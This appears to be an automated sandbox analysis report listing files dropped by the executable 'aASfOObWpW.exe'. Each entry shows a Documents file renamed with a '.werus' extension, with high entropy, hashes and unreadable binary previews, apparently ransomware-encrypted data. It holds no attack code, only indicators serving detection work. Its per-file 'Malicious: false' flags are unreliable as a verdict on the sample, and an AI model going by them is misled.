SHA1:	0ABA438E60CB193864B4A0C382D14E309B899A7F
SHA-256:	E1CC73C4B5426A8DD9246610E20C89387E8D027AABD758AD504A66707989BBCB
SHA-512:	296A384489120B8954C7C5DA8DC9141D6A7BDD196D44122D5077DCADEB1EB069644D79B6690D18293748FD0271A74DBBCFDEB8BF841CDDCD7B046361B5EB8434
Malicious:	false
Preview:	<s..AfiN.....M.5x..d.>.l.....{....k.p........$.}>..........~......4..O.~..N.c.;.7..)>.>4..p...E......c...g..od...fi7K...7g=q.P...B....#.n..\_.O..N.L.'Z.3..F.../$...-8X.z...d,..j.1.>?..z/....M..+..e....LE.v../.:3&T...tfz...ov.8.)}.>.N.T.P.ky{.....%%i......$...hL8.c.).<.^QZX...a...j..DX.%....w.b..j..:@.W...c.G.........x.........'.d..@..?.'.y.)..i...{.GI.6x.H1.q(...ZVr~..}.....FE.g\|......q.H.h<.S #...A<I..iu.`."?.....K}......W$..P.Uc..\|..,.............k.Z..h.0a`.....HR2jL....!.UVZP.t...F.(...;H..@..K.&~\|~............D..M.....^S.]j....=.N...q$..V..%%J..#w.......W.7. .6....2....n...J.....h.I..tZN\Hb..a.4..;3j:#.a.A.X?..%>v......yq..t7(A..3I...y...8i.c....n..}.U;G..]..@.fQ..]Q...o..o.F<Q.o...7.)m.....0..W.)V...#....w......;v....\N....d.5..:[..#[=...e=.`.zk.w........af..S.....(..2....V?y%v%.........zC3.\|+.E.....E.Z...Ve=s...'F...u.f.T4..F..S}.+.........:0...=.\|.f....PY.W.Z...[..E.92C..}..Z.WC"#...u.....+b.r..r..>.jb..!....5k.....7

C:\Users\user\Documents\EFOYFBOLXA.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.798255607866141
Encrypted:	false
SSDEEP:	24:wRQt4ltDWFW96dFC3MFEC/cIoi4CV5fIZBb+Cbi:uUE90W8dY3MWCLFgjs
MD5:	F0A2E536D14085B332671A54E1C8E828
SHA1:	A75A8E0D8EEDBC9C992E8B4D499EA04F369384AC
SHA-256:	3CB2950FAC9DBDD07CCAF61B645DC96D842264EDA67EB63A59017BDF836F5C91
SHA-512:	2D1EE758C8E12C77465C0B50A69EA69E82CC76F814EED9A309C23955DB8B25081AF79971D1A534263C84CFBD7C3394F6675FD5754D012CAB5D4D20AEDAB5C829
Malicious:	false
Preview:	K_.d.o.....<1@.=U.....kF.D%N..D......(.3..mub..wn.9tC......X.Q.d..i.......Jhq)....o.......1.S)L.....x{...E.Wc..Q..9._...jUp.R\......E.>C=Z.WB9A.2..?.i....}iLL...sq..........>B..Y..I$kC.P..ab.m.Q..h.$Qu.5f;?[....!NO.?...lhbu.~.Q.<.Q..W2.s.s5...\p.\.xB7.-...E`..j...6...>.]f. ;..y......zj.BT.v....7...53......\|..,......Cb .......N......V..k.Fg.KBs....}.....2.6...x...g.ZW[.....2..ix.......0..z...A.Y.n2s.t.....j......Y.=..y=q..q....%.[>.K.n.....#.I.Hcp.VYB..SI..1./5..x...T.......ge.V.]....[:...\|51..S....?@..g.......IR..\.K..t..?..y......@..M5.sw..$..7..U..'.R.Hl...b....../....(.;-h.........uK.!.).......z.p..3........\|.......70.S.D~N..i.s..U;R....+%.\|..K.O".3.E(.Rq.Ki..5@.^.]..!..J..~].+...]".b.3~.;.z9P..9.T...j.d..Na. .....j>.Qo..5.:.9]W....1... N.~.S.....`L3....;..h.f.7SBu..Zi.5..a...h....v...J%.T.rSFk.6.....o..u6bT,#/.Q.).."d...dBLz.....@.....\|./P........>.GDls..yv..$..9.^...B...S...'.....@....3Qu..f..'5.2.[...1.x..SP...n....3.[.j~R..

C:\Users\user\Documents\EIVQSAOTAQ.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.821759292904752
Encrypted:	false
SSDEEP:	24:A5YpqcwsjvoHO2BMR5vWX4I/5EIkcNru+:Csjvj2B0BIKI/ru+
MD5:	D85432824EBA0146E4DA3D48352C2A6A
SHA1:	5C92A2A09D91489EE32D903574C060F25900E365
SHA-256:	FA777A3D31F5F9A7C4E47FC7894C2CF7D2633278394CBDE2E961332188919C0B
SHA-512:	7425A19A58120C10688C805618F7E1C996DE87A5AF7C574E40BCD2E338C8037E0CE63951BF107E37DF4EDB2BE3010A1CA3C7660863EFC581D74579F006FF4622
Malicious:	false
Preview:	R..#].......f9..n.{.=.8oBMG.,.H2......Xc...a.W..20\x.u..n..He.y..g.H..+z.[.....+FoS....u.....:........9~k+...es.R.O.e.r.)......7.SI...($b@..{....J.T..s..).a..V& R..K.7r......x`..y-0...=...J...........%U.1h.K..<.....;M(....q. .a.[.^....B.....".m. .N..z64m.......Qq4\|.h...^4...>.M.3.^.]...j.U.;U'.....'](...{5.CM.QR.U..;...l......dB.3...}$..BZ]p+.....-...K...kevM...1I.....N.QZ.Y..Q...d`.?..WE..]\|..o...b.....a..\".Z.!.:.C.F/d..+.i."w7."".U+..d.O..k.']3I._.\|..,D.&.E......:.G..~.0...F..6./...~&......-...1}p.y*...$.l@YW.=e...5..CdI-.7...mI.$c..\..n.oXL.......j.[MY.U....C....2........$.w7L.K..b.l..).vH................aV.a%..z..<.#.K.(...`..7....y..%...I'';S\|..A.M#.....V<d.x._....:...;.:..o.w.."R{9&.g.e..d&..o{.b=.......F.O............F.8...!J.Z.u,....,W....F..0.r.r.db.;.9."b..t.o..^Y.C..z.....bM`o>..zR...1.xc.....K....S.2....'..u........3.Ak.r]...[..A.M.......#.gEi...$.#-.......H.N....,O.;...W.<.....k..;a.J.[F;~&h....\|e....X.$..Y.S/.

C:\Users\user\Documents\EOWRVPQCCS.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816229943529569
Encrypted:	false
SSDEEP:	24:g5bN7uH2HOsIFflAiUBqlgI/YVuXUh4rE0G4678y3s5HSYzPVHEFIE6:g5mwgFflAjhuXUh4jZ6YOYzPlE8
MD5:	09BAFFA35D5CD9CCD242D501EA3B28E7
SHA1:	193B15EF4A5DEF2E5A3B0552D3FBF58C3BC0CA34
SHA-256:	9E4030950DB271B069C310A58496B1A40190BB112EA7D4EFAB2C2CBCC65B1DE6
SHA-512:	9F7B70ECCCFCFB4A70D225BD1C855F31DE7C9E31207C1D3FCCEBF6A11CA33396D630BA0B0A2355DE5B52C1407901B84D1CCEB68A27155CB80EF99E6C90234AF8
Malicious:	false
Preview:	.M.Kf.....@......2.18.c..C.S.".o.lm+..}(8.=...$..s....f...gcu.7..c...-O..%J......l..bs..I ...5:.6..C.../e.a...%.....!....Q.}:.X...A..../.4.q....f..o!.Z.r....o....VC.._s.~.g......\|.....P..F........._!&...I....Y,..\..Y.....R.T..6............ .y...0......\|....&M..Ix...oS....J..'.D..d..o.......(.U7S.x..W's....+..p..?.=a..b........fh....z.....im..q.rF../Nk..BO.`..l.... M?.......KE41......[....hT..'2.iJWK..../(...ac.......z..0.$i..oW...M?\s...;..y_.x.@..Y..(..t.4......~.j.._....<.Nwu..v..tI..W(.Z.v=.?.X..'.l..wt:,)M.lt.RF...[].y?.&.6....H..\|...mer.....4.....n=.Z.].f...ju@.....by\|..2.c..."..-h.,^5%.'Pd].".^.^...6U.Ip..d..7...B.^.pQ...ph...R-"F..e(..........P.B.g...A.R...).%F.....M..g.TM/!.Z.UCh]...m.....T\|..R.......P.9& .\...H...j.M...6......J.5..'D ...OP8..>v+...H*....y;B.j#....L?.[2/<`H.~..`g`....d....\G.v.xp[.AX...kF.....F.....r...jg.A..@..7.C)D..(r..#Zz6.tR..H2...Z.VY.{.......\|..$..:w.......=.....!d8.o^..\qP@`.Af..R...w......

C:\Users\user\Documents\EOWRVPQCCS.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816229943529569
Encrypted:	false
SSDEEP:	24:g5bN7uH2HOsIFflAiUBqlgI/YVuXUh4rE0G4678y3s5HSYzPVHEFIE6:g5mwgFflAjhuXUh4jZ6YOYzPlE8
MD5:	09BAFFA35D5CD9CCD242D501EA3B28E7
SHA1:	193B15EF4A5DEF2E5A3B0552D3FBF58C3BC0CA34
SHA-256:	9E4030950DB271B069C310A58496B1A40190BB112EA7D4EFAB2C2CBCC65B1DE6
SHA-512:	9F7B70ECCCFCFB4A70D225BD1C855F31DE7C9E31207C1D3FCCEBF6A11CA33396D630BA0B0A2355DE5B52C1407901B84D1CCEB68A27155CB80EF99E6C90234AF8
Malicious:	false
Preview:	.M.Kf.....@......2.18.c..C.S.".o.lm+..}(8.=...$..s....f...gcu.7..c...-O..%J......l..bs..I ...5:.6..C.../e.a...%.....!....Q.}:.X...A..../.4.q....f..o!.Z.r....o....VC.._s.~.g......\|.....P..F........._!&...I....Y,..\..Y.....R.T..6............ .y...0......\|....&M..Ix...oS....J..'.D..d..o.......(.U7S.x..W's....+..p..?.=a..b........fh....z.....im..q.rF../Nk..BO.`..l.... M?.......KE41......[....hT..'2.iJWK..../(...ac.......z..0.$i..oW...M?\s...;..y_.x.@..Y..(..t.4......~.j.._....<.Nwu..v..tI..W(.Z.v=.?.X..'.l..wt:,)M.lt.RF...[].y?.&.6....H..\|...mer.....4.....n=.Z.].f...ju@.....by\|..2.c..."..-h.,^5%.'Pd].".^.^...6U.Ip..d..7...B.^.pQ...ph...R-"F..e(..........P.B.g...A.R...).%F.....M..g.TM/!.Z.UCh]...m.....T\|..R.......P.9& .\...H...j.M...6......J.5..'D ...OP8..>v+...H*....y;B.j#....L?.[2/<`H.~..`g`....d....\G.v.xp[.AX...kF.....F.....r...jg.A..@..7.C)D..(r..#Zz6.tR..H2...Z.VY.{.......\|..$..:w.......=.....!d8.o^..\qP@`.Af..R...w......

C:\Users\user\Documents\EWZCVGNOWT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.79065821242137
Encrypted:	false
SSDEEP:	24:BcAdU2KB//CBVMAXn+f3LUIaU7+uL31kpFlPktxMXj/0f6pnMCoEfg5utW1w:t4/CoUKbUILHL3+fvX2nMg5utB
MD5:	9DEED8F2F1F373304403D616CC9E0594
SHA1:	7CD414ED3C387C574D7C75338331181B0BBB28DB
SHA-256:	B96E0EBE92206DDEC44A71DDF2C8ED0A6AB80C958CDA64D0EC73815A094304A6
SHA-512:	41213B2E77147AF4CA92FD223B95BD5DFA7C8EF4890BDCB37AF27189DCC83D2820DB393B75DC882FDE1DC7F17403EF990FEA9B0C0C3F988B2791F705CD2F1185
Malicious:	false
Preview:	...+ad).U.MC^BQ....I.d.F...S.,...J.oy...y......%'..S.....8d..[.3.+..U..-m.M....rrv;..b..xB........-=....J1H..WF...R...U..T.....zn.?.5C...=].?.6/."...Xg..,}...=.s_.;..c..^..n.0...n...5M.L.V6Z......F...N$...q.\..U.rwx..V...O4r.Y..4.J.<...DIu...hue...#[.m ..v.Q.8".....V.N2........r....4..n......}7..0..x.j....'R$9M..-%.v{...@1T.3dY<_i...z..XF.U...l.o.R.@I.aU..q.y......M.g#......%....Lc.\H...O.u... .%+p;..4MJp..v... q...H.;...}.o}...jq.=..wb7.S.3..!...".M.f=.......e.,.K..).sa[..w......W..&...."....$...s._......`.5.7...E...C.@..&".{{....-.-V............X....c...YrK..J\|..!y._Y.....F.......c..2m O}....w..#\.!.....3..H..Z(yd.....V5.R.N.?nD:..c.xL.v.......{........g9..I..$.../...k..&..A./...-..Gm.&6.:F..L...`...Ax..!p.\|..8.._...vxQ/....:&@.J.X ....4.Yi4XE.}...D {....A;......i....u..#......;."5L..Lr.B<.H.}.r....cg.....4.....f...I.[c..`.X..W.2.....ac......,.v.V.~i).."..d?..AyaD-.A+...e....z...r.F..r....o..F. .y.({....4)..B....^...Z..9......1v..i

C:\Users\user\Documents\GIGIYTFFYT.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.827669742151911
Encrypted:	false
SSDEEP:	24:fgnoBx3i42aqrB6uMNImyUX0hwYQoe/Yx7KlGA9fPR0A+JlcHWwi:fgns3i458HZmNEWY7KlxfJ03lWWwi
MD5:	97414FC7A2AC9A9EE61DE1D3402538F6
SHA1:	EB849C45F020DCEFC4BC1E93792B8D4D2FFAEB4B
SHA-256:	017C0B78A08EBD838FD39EC2930EC91A9BB814C66F05F25CF3E6AAAE325A74F0
SHA-512:	7D65B4FCD395523AFD34A5F968FF19A518D7D004616150F0F10EC7F080C9B902876DE4BD0C92E53495DAEFD72244CAF1BD05EB35A1467F2E6FF2F0B1859565DE
Malicious:	false
Preview:	`6.......h...K.zI.A.^j`9..9....<..:.3../.$.......3..Z....o.1.W.P:;.@y.ut.AU^....._0...)..............8u......R....`.C...S.....`.);3.l....f.7...o.4..Q.P..BN.+F......]u{....~K`)....f6..../.1C(....p..T...m...V}./...uR~..2.Z..c..x....).....U...9...!....K.....l.i.t.@.\|.r.7.....u...u`.....t.^1.C.\|.bj~pI....$&...BXL../...8......>.S..E19X.\|..coE...-...R..\|.X.9.P}.I....,..!..W.T......."9{.l.I.-.....V(Z.......%Enw.....\|q..SQkr].f"/...FS.D!...(M-n..s.{.o..R....\9...'...n.=.......4..?C../..c..<.......8A..S..vJ....sKC.^.....:......eNn...)&Y...K....3..6. ...LP%.j....FJ=...X..x.D....v.0......y#...=T.Z7..G(a.8.....r.B......y....W..B.....^.$....u..1...2.c.?...vt....ad......l.aF..#.@....].....^D.J...@...^....J.9..M8...Co..Pn../..N...g9.j..'a.n{.I.A..\*.7+F..%R..~...G.P.4..;.....9..<..8n......e..Ju.ZaHT._.....0KZ...w..M.\|..D6},.4......\|.........CYxQ..a+.1J+..X=...;..$...n..3.. .3.r.x.n..-.)W:z.LD....S....z..[I....X.e$...(kS....84... ...B~.....y.{.;

C:\Users\user\Documents\GRXZDKKVDB.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.818295075917987
Encrypted:	false
SSDEEP:	24:PoGrfdfDSL3RcQoaBpX1M5PYk76TSLFcLEmTdMP86sSfAvj9T:wGrfdGL3iyDFkaTSLFqlT+P/fwj1
MD5:	A2C57B0A762457C69AC5F09A96A32E39
SHA1:	B0C84D0612E14608199EF729B08886ECFB166675
SHA-256:	04153BA8EB9949BE92DBED893F9EA4FAEBA7141240312BA2AA02228B18D04BFD
SHA-512:	B291BAEB2DA3F9D4E31D0A37443E83A3B22D82C19FD9024345F66A761EEB1725ABF653AA99BF64ED34FB3C6B1855A21E7ADE79A82738A4EF74B68E67F2E7BD24
Malicious:	false
Preview:	2........R_. .H_..e....Xt........(...T.Z..$/....t.`.M..#..x...."..5;....B..s/..eL.s.?.....T....tF.......:..E.sE....5...9. .../.N[..}...C;y...6v..^.8.Q.'..5....H..)........}.W.q...p..K#4.D...g......`.a..b...K...=a.Y..@..Yo..6..4.....y..l@B.'."...+S.n...%.i1....q..!3KW..a>D.OY.hc..i+.k.KC.u.u.P{O....0B....L....HUJ.X4.R>..R...M.....\|'.@...i{.zp..........LK.D.g.n..M.65....F...9@..."7.......h..\kc.py.@......_......}.`...?..51%.@..$>.....lv..>....j.Y}..2...&~.)!....$.t....E-WFW>..s.s..M.o..<9.K.G.E..`t...=...+..;..4.d.c.,0p....-...[....z#...i..f.3....Ib...3k..@..V.&..&d...k.....)...b(.yL"..5...:.8@`O.]8....i"8.UC'.zCd.......+z...E..o@_.)9.l>.....kE..Xq.R.!qo..J..c..0z..M.?...mp.L/..X.....T.......K`.......~....m..Q..>;.~n..c......#.9.H...g..c./y..... .1.C...] ...!..q...8{..t.d.+.>Vx..V<..+...tAsa.t..h..`7...M..?@.'.-......p.a5..!.....O._..M.;.....E....^c..Z#S.Y.tN.^...0......1sf.L..t...!x..[....N#....{.5.....s.O%......<.....&C.2

C:\Users\user\Documents\GRXZDKKVDB.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.818295075917987
Encrypted:	false
SSDEEP:	24:PoGrfdfDSL3RcQoaBpX1M5PYk76TSLFcLEmTdMP86sSfAvj9T:wGrfdGL3iyDFkaTSLFqlT+P/fwj1
MD5:	A2C57B0A762457C69AC5F09A96A32E39
SHA1:	B0C84D0612E14608199EF729B08886ECFB166675
SHA-256:	04153BA8EB9949BE92DBED893F9EA4FAEBA7141240312BA2AA02228B18D04BFD
SHA-512:	B291BAEB2DA3F9D4E31D0A37443E83A3B22D82C19FD9024345F66A761EEB1725ABF653AA99BF64ED34FB3C6B1855A21E7ADE79A82738A4EF74B68E67F2E7BD24
Malicious:	false
Preview:	2........R_. .H_..e....Xt........(...T.Z..$/....t.`.M..#..x...."..5;....B..s/..eL.s.?.....T....tF.......:..E.sE....5...9. .../.N[..}...C;y...6v..^.8.Q.'..5....H..)........}.W.q...p..K#4.D...g......`.a..b...K...=a.Y..@..Yo..6..4.....y..l@B.'."...+S.n...%.i1....q..!3KW..a>D.OY.hc..i+.k.KC.u.u.P{O....0B....L....HUJ.X4.R>..R...M.....\|'.@...i{.zp..........LK.D.g.n..M.65....F...9@..."7.......h..\kc.py.@......_......}.`...?..51%.@..$>.....lv..>....j.Y}..2...&~.)!....$.t....E-WFW>..s.s..M.o..<9.K.G.E..`t...=...+..;..4.d.c.,0p....-...[....z#...i..f.3....Ib...3k..@..V.&..&d...k.....)...b(.yL"..5...:.8@`O.]8....i"8.UC'.zCd.......+z...E..o@_.)9.l>.....kE..Xq.R.!qo..J..c..0z..M.?...mp.L/..X.....T.......K`.......~....m..Q..>;.~n..c......#.9.H...g..c./y..... .1.C...] ...!..q...8{..t.d.+.>Vx..V<..+...tAsa.t..h..`7...M..?@.'.-......p.a5..!.....O._..M.;.....E....^c..Z#S.Y.tN.^...0......1sf.L..t...!x..[....N#....{.5.....s.O%......<.....&C.2

C:\Users\user\Documents\GRXZDKKVDB\EIVQSAOTAQ.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.821759292904752
Encrypted:	false
SSDEEP:	24:A5YpqcwsjvoHO2BMR5vWX4I/5EIkcNru+:Csjvj2B0BIKI/ru+
MD5:	D85432824EBA0146E4DA3D48352C2A6A
SHA1:	5C92A2A09D91489EE32D903574C060F25900E365
SHA-256:	FA777A3D31F5F9A7C4E47FC7894C2CF7D2633278394CBDE2E961332188919C0B
SHA-512:	7425A19A58120C10688C805618F7E1C996DE87A5AF7C574E40BCD2E338C8037E0CE63951BF107E37DF4EDB2BE3010A1CA3C7660863EFC581D74579F006FF4622
Malicious:	false
Preview:	R..#].......f9..n.{.=.8oBMG.,.H2......Xc...a.W..20\x.u..n..He.y..g.H..+z.[.....+FoS....u.....:........9~k+...es.R.O.e.r.)......7.SI...($b@..{....J.T..s..).a..V& R..K.7r......x`..y-0...=...J...........%U.1h.K..<.....;M(....q. .a.[.^....B.....".m. .N..z64m.......Qq4\|.h...^4...>.M.3.^.]...j.U.;U'.....'](...{5.CM.QR.U..;...l......dB.3...}$..BZ]p+.....-...K...kevM...1I.....N.QZ.Y..Q...d`.?..WE..]\|..o...b.....a..\".Z.!.:.C.F/d..+.i."w7."".U+..d.O..k.']3I._.\|..,D.&.E......:.G..~.0...F..6./...~&......-...1}p.y*...$.l@YW.=e...5..CdI-.7...mI.$c..\..n.oXL.......j.[MY.U....C....2........$.w7L.K..b.l..).vH................aV.a%..z..<.#.K.(...`..7....y..%...I'';S\|..A.M#.....V<d.x._....:...;.:..o.w.."R{9&.g.e..d&..o{.b=.......F.O............F.8...!J.Z.u,....,W....F..0.r.r.db.;.9."b..t.o..^Y.C..z.....bM`o>..zR...1.xc.....K....S.2....'..u........3.Ak.r]...[..A.M.......#.gEi...$.#-.......H.N....,O.;...W.<.....k..;a.J.[F;~&h....\|e....X.$..Y.S/.

C:\Users\user\Documents\GRXZDKKVDB\EOWRVPQCCS.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816229943529569
Encrypted:	false
SSDEEP:	24:g5bN7uH2HOsIFflAiUBqlgI/YVuXUh4rE0G4678y3s5HSYzPVHEFIE6:g5mwgFflAjhuXUh4jZ6YOYzPlE8
MD5:	09BAFFA35D5CD9CCD242D501EA3B28E7
SHA1:	193B15EF4A5DEF2E5A3B0552D3FBF58C3BC0CA34
SHA-256:	9E4030950DB271B069C310A58496B1A40190BB112EA7D4EFAB2C2CBCC65B1DE6
SHA-512:	9F7B70ECCCFCFB4A70D225BD1C855F31DE7C9E31207C1D3FCCEBF6A11CA33396D630BA0B0A2355DE5B52C1407901B84D1CCEB68A27155CB80EF99E6C90234AF8
Malicious:	false
Preview:	.M.Kf.....@......2.18.c..C.S.".o.lm+..}(8.=...$..s....f...gcu.7..c...-O..%J......l..bs..I ...5:.6..C.../e.a...%.....!....Q.}:.X...A..../.4.q....f..o!.Z.r....o....VC.._s.~.g......\|.....P..F........._!&...I....Y,..\..Y.....R.T..6............ .y...0......\|....&M..Ix...oS....J..'.D..d..o.......(.U7S.x..W's....+..p..?.=a..b........fh....z.....im..q.rF../Nk..BO.`..l.... M?.......KE41......[....hT..'2.iJWK..../(...ac.......z..0.$i..oW...M?\s...;..y_.x.@..Y..(..t.4......~.j.._....<.Nwu..v..tI..W(.Z.v=.?.X..'.l..wt:,)M.lt.RF...[].y?.&.6....H..\|...mer.....4.....n=.Z.].f...ju@.....by\|..2.c..."..-h.,^5%.'Pd].".^.^...6U.Ip..d..7...B.^.pQ...ph...R-"F..e(..........P.B.g...A.R...).%F.....M..g.TM/!.Z.UCh]...m.....T\|..R.......P.9& .\...H...j.M...6......J.5..'D ...OP8..>v+...H*....y;B.j#....L?.[2/<`H.~..`g`....d....\G.v.xp[.AX...kF.....F.....r...jg.A..@..7.C)D..(r..#Zz6.tR..H2...Z.VY.{.......\|..$..:w.......=.....!d8.o^..\qP@`.Af..R...w......

C:\Users\user\Documents\GRXZDKKVDB\GIGIYTFFYT.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.827669742151911
Encrypted:	false
SSDEEP:	24:fgnoBx3i42aqrB6uMNImyUX0hwYQoe/Yx7KlGA9fPR0A+JlcHWwi:fgns3i458HZmNEWY7KlxfJ03lWWwi
MD5:	97414FC7A2AC9A9EE61DE1D3402538F6
SHA1:	EB849C45F020DCEFC4BC1E93792B8D4D2FFAEB4B
SHA-256:	017C0B78A08EBD838FD39EC2930EC91A9BB814C66F05F25CF3E6AAAE325A74F0
SHA-512:	7D65B4FCD395523AFD34A5F968FF19A518D7D004616150F0F10EC7F080C9B902876DE4BD0C92E53495DAEFD72244CAF1BD05EB35A1467F2E6FF2F0B1859565DE
Malicious:	false
Preview:	`6.......h...K.zI.A.^j`9..9....<..:.3../.$.......3..Z....o.1.W.P:;.@y.ut.AU^....._0...)..............8u......R....`.C...S.....`.);3.l....f.7...o.4..Q.P..BN.+F......]u{....~K`)....f6..../.1C(....p..T...m...V}./...uR~..2.Z..c..x....).....U...9...!....K.....l.i.t.@.\|.r.7.....u...u`.....t.^1.C.\|.bj~pI....$&...BXL../...8......>.S..E19X.\|..coE...-...R..\|.X.9.P}.I....,..!..W.T......."9{.l.I.-.....V(Z.......%Enw.....\|q..SQkr].f"/...FS.D!...(M-n..s.{.o..R....\9...'...n.=.......4..?C../..c..<.......8A..S..vJ....sKC.^.....:......eNn...)&Y...K....3..6. ...LP%.j....FJ=...X..x.D....v.0......y#...=T.Z7..G(a.8.....r.B......y....W..B.....^.$....u..1...2.c.?...vt....ad......l.aF..#.@....].....^D.J...@...^....J.9..M8...Co..Pn../..N...g9.j..'a.n{.I.A..\*.7+F..%R..~...G.P.4..;.....9..<..8n......e..Ju.ZaHT._.....0KZ...w..M.\|..D6},.4......\|.........CYxQ..a+.1J+..X=...;..$...n..3.. .3.r.x.n..-.)W:z.LD....S....z..[I....X.e$...(kS....84... ...B~.....y.{.;

C:\Users\user\Documents\GRXZDKKVDB\GRXZDKKVDB.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.818295075917987
Encrypted:	false
SSDEEP:	24:PoGrfdfDSL3RcQoaBpX1M5PYk76TSLFcLEmTdMP86sSfAvj9T:wGrfdGL3iyDFkaTSLFqlT+P/fwj1
MD5:	A2C57B0A762457C69AC5F09A96A32E39
SHA1:	B0C84D0612E14608199EF729B08886ECFB166675
SHA-256:	04153BA8EB9949BE92DBED893F9EA4FAEBA7141240312BA2AA02228B18D04BFD
SHA-512:	B291BAEB2DA3F9D4E31D0A37443E83A3B22D82C19FD9024345F66A761EEB1725ABF653AA99BF64ED34FB3C6B1855A21E7ADE79A82738A4EF74B68E67F2E7BD24
Malicious:	false
Preview:	2........R_. .H_..e....Xt........(...T.Z..$/....t.`.M..#..x...."..5;....B..s/..eL.s.?.....T....tF.......:..E.sE....5...9. .../.N[..}...C;y...6v..^.8.Q.'..5....H..)........}.W.q...p..K#4.D...g......`.a..b...K...=a.Y..@..Yo..6..4.....y..l@B.'."...+S.n...%.i1....q..!3KW..a>D.OY.hc..i+.k.KC.u.u.P{O....0B....L....HUJ.X4.R>..R...M.....\|'.@...i{.zp..........LK.D.g.n..M.65....F...9@..."7.......h..\kc.py.@......_......}.`...?..51%.@..$>.....lv..>....j.Y}..2...&~.)!....$.t....E-WFW>..s.s..M.o..<9.K.G.E..`t...=...+..;..4.d.c.,0p....-...[....z#...i..f.3....Ib...3k..@..V.&..&d...k.....)...b(.yL"..5...:.8@`O.]8....i"8.UC'.zCd.......+z...E..o@_.)9.l>.....kE..Xq.R.!qo..J..c..0z..M.?...mp.L/..X.....T.......K`.......~....m..Q..>;.~n..c......#.9.H...g..c./y..... .1.C...] ...!..q...8{..t.d.+.>Vx..V<..+...tAsa.t..h..`7...M..?@.'.-......p.a5..!.....O._..M.;.....E....^c..Z#S.Y.tN.^...0......1sf.L..t...!x..[....N#....{.5.....s.O%......<.....&C.2

C:\Users\user\Documents\GRXZDKKVDB\PALRGUCVEH.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.822367968188942
Encrypted:	false
SSDEEP:	24:cXHsYFAVaZuD/hPz7RCXXBHXwkP2TZgE5GYK55Y7bhWz9Own:ivuVaO/hP/EXXBgkSKMhWz9Ow
MD5:	E1306CF4E5DA8EF37EE8EF2AF33E1FA2
SHA1:	964E5A453C69D403E282DE3FCB457AEC4ED885BA
SHA-256:	944404FD1C6F16BB2CFCD92EB181E9CBA3086DFC6535BABFE54062CC4838FB8C
SHA-512:	75BF74DA96D8B44F06DD2F0FF6D09956F40220AC718702E93CFEDF6449D72A14C349CE9998AD74DFB93A205E2E8F85B4258E74B7F79DB63DA3D54367AB16250E
Malicious:	false
Preview:	P@...\h.......f].v... ..P..M..t...b..>3$.........[9Mj+..PC..6....';...EDf0"....O...1...Ph.o..a.....r.N...,..{.T...7j....mU.l.....!l.....X...9....OJ.<}..E.9...[I..o...l....a.5..f@.W..xA.....#...<...'A[..B^.. 3.R,.......K4 `.P...w.../.....P..nAt..W.Adnw......i..I..e.C.....V8..v<:...0......."B.P1z..%.K.....d7.......q.~.m.-N..r..NO...Z5.hF.,O\.#.a.......0vc...n-....o..>(-..."./8......o@PF.W.fAI..i.^....\|#DG.c.u....s%.p.XMY.$p......[=...&.Q(3.o......S$W....#.,..G.g.....P....J.G...FO.E%{..?>.R....`...'C...h.T.....+.c."..A{._...x.KYy..5\..7F.DE...\|...-J....Vz.QWo"5.h~\.K.t....J..Y..P.i.g.x$...G..p.."....xb...>we....OU....CM...........ulm..Ak.......1-.!._..o.Pb.....+<..G..:'....n.(%.......o....:E.u...`...<i30\(.yq.#..y....0b.w.k/..^.Nq...<.3.o.I. ....&...Kf..C.Z^.[c+.ip..-+i3..........^cH..........x.(.........C4K.7CI4............r....5(....KE.9};.I.ni..l....z.f....y...h..BI=:Y..&...nQ.(...i....yX@.-.6F......S..5M...ln...M.j..."{x.

C:\Users\user\Documents\GRXZDKKVDB\TQDFJHPUIU.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794728995711684
Encrypted:	false
SSDEEP:	24:6NdDp2a/nsxSB1dHS/ZnncqJ3QDR1/ukfh0fr9A:6XDp26nsIdy/ZnMb/z50fq
MD5:	DD6BD2F31E9C72DB0F81E40AF4EF23F3
SHA1:	F23025881B45D703A1B8A20F906F1DC8839A426E
SHA-256:	D31682DEA2585B97BEB3C8DC8290FC5E00D42596EDFA60F696204B8C88C62C90
SHA-512:	5F5180C5CAA08C9E2441F45BE3F4D0D8155FF2F2BFC8A2AB9B48578480A3C2B3A750091C19839F7D78799355C88042878FD36CDDD715199132FA08023F63F0F1
Malicious:	false
